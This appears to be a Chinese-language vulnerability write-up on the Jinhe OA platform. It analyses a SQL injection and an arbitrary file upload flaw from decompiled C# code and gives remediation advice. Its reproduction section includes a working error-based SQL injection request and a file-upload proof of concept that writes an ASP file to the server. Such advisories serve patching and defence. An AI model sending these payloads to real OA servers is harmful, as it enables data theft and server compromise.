金和oaGeneralXmlhttpPage.apx SQL注入漏洞和UploadFileEditorSave.aspx任意文件上传漏洞分析
字数 1180 2025-08-22 22:47:30
金和OA系统漏洞分析与复现指南
1. 产品概述
金和OA系统是由金和网络开发的企业协同办公平台,主要功能包括:
- 组织协同OA系统开发平台
- 电子政务一体化平台
- 智慧电商平台
- 为城市监管部门提供互联网+监管解决方案
2. 漏洞概述
2.1 SQL注入漏洞
- 漏洞位置:
GeneralXmlhttpPage.apx中的CheckAppraiseState()方法 - 影响版本:v3.8之前
- 危害:获取数据库敏感信息(如管理员密码、用户信息),高权限下可写入木马获取服务器权限
2.2 任意文件上传漏洞
- 漏洞位置:
UploadFileEditorSave.aspx - 影响版本:v3.8之前
- 危害:上传恶意后门文件获取服务器权限
3. 漏洞分析
3.1 SQL注入漏洞分析
漏洞代码位置
JHSoft.Web.Appraise.dll → JHSoft.Web.Appraise → GeneralXmlhttpPage → CheckAppraiseState()方法
关键代码分析
public string CheckAppraiseState()
{
string arg = string.Empty;
if (base.Request.QueryString["id"] != null)
{
arg = base.Request.QueryString["id"].ToString();
}
string queryString = string.Format("select AppraiseOverFlag from appraise where AppraiseID = '{0}'", arg);
DataTable dataTable = this.db.ExecSQLReDataTable(queryString);
// ...后续处理逻辑...
}
漏洞原理
- 直接从请求参数中获取
id值,未做任何过滤 - 使用
string.Format直接拼接SQL语句 - 执行拼接后的SQL语句,导致注入风险
修复建议
- 使用参数化查询
- 对输入参数进行严格过滤和验证
3.2 任意文件上传漏洞分析
漏洞代码位置
JHSoft.Web.CustomQuery.dll → JHSoft.Web.CustomQuery → UploadFileEditorSave
关键代码分析
protected void Page_Load(object sender, EventArgs e)
{
string text = base.Request["filename"].ToString();
string text2 = Upload.MapFilePath(text);
if (text.ToLower().IndexOf("slaves") == -1)
{
if (File.Exists(text2))
{
File.Delete(text2);
}
Upload.NoAESRead(base.Request.Files[0].InputStream, ref text2);
}
else
{
text2 = text2.ToLower().Replace("\\temp\\", "\\slaves\\");
if (File.Exists(text2))
{
File.Delete(text2);
}
Upload.AESRead(base.Request.Files[0].InputStream, ref text2);
}
this.Context.Response.End();
}
文件处理方法分析
// NoAESRead方法
public static void NoAESRead(Stream stream, ref string strFile)
{
byte[] array = new byte[(int)stream.Length];
stream.Read(array, 0, array.Length);
stream.Close();
FileStream fileStream = new FileStream(strFile, FileMode.CreateNew, FileAccess.Write);
fileStream.Write(array, 0, array.Length);
fileStream.Close();
}
// AESRead方法
public static void AESRead(Stream stream, ref string strFile)
{
byte[] array = new byte[(int)stream.Length];
stream.Read(array, 0, array.Length);
stream.Close();
byte[] array2 = Upload.AESEncrypt(array);
FileStream fileStream = new FileStream(strFile, FileMode.CreateNew, FileAccess.Write);
fileStream.Write(array2, 0, array2.Length);
fileStream.Close();
}
漏洞原理
- 未对上传的文件名和内容进行任何过滤
- 允许用户控制上传路径(
filename参数) - 无论是否加密,都能上传任意文件
修复建议
- 限制上传文件类型
- 对上传文件名进行严格过滤
- 使用固定路径保存上传文件
- 增加文件内容检查机制
4. 漏洞复现
4.1 SQL注入漏洞复现
步骤:
- 找到存在漏洞的接口:
GeneralXmlhttpPage.apx - 构造恶意请求,在
id参数中注入SQL语句 - 观察返回结果
示例请求:
GET /GeneralXmlhttpPage.apx?id=1' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables WHERE table_schema='dbo' FOR XML PATH('')))-- HTTP/1.1
Host: target.com
4.2 任意文件上传漏洞复现
POC:
POST /C6/Control/UploadFileEditorSave.aspx?filename=C6\ilra9c2tw2.asp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Content-Type: multipart/form-data; boundary=----umvtqrw8etdtcatpd8vq
------umvtqrw8etdtcatpd8vq
Content-Disposition: form-data; name="file"; filename="ilra9c2tw2.jpg"
Content-Type: image/png
<%response.write(333*2)%>
------umvtqrw8etdtcatpd8vq--
验证:
访问上传的ASP文件,如:http://target.com/C6/ilra9c2tw2.asp,应显示计算结果"666"。
5. 工具使用
5.1 dnSpy使用指南
- 打开dnSpy工具
- 导入目标DLL文件
- 导航到漏洞代码位置:
- 使用左侧目录树导航
- 或使用Ctrl+Shift+K全局搜索
- 分析关键方法
5.2 注意事项
- 不要分析
.ctor构造函数 - 注意区分不同命名空间下的同名类
- 关注关键方法如
Page_Load、文件处理方法等
6. 防御措施
6.1 通用防御
- 及时升级到最新版本(v3.8及以上)
- 部署WAF防护
- 限制服务器目录权限
6.2 SQL注入防御
- 使用参数化查询
- 实施最小权限原则
- 输入验证和过滤
6.3 文件上传防御
- 白名单验证文件扩展名
- 重命名上传文件
- 存储在非web可访问目录
- 扫描上传文件内容
7. 总结
金和OA系统v3.8之前版本存在高危漏洞,攻击者可利用SQL注入获取敏感数据,通过文件上传漏洞获取服务器权限。建议用户及时升级并实施上述防御措施。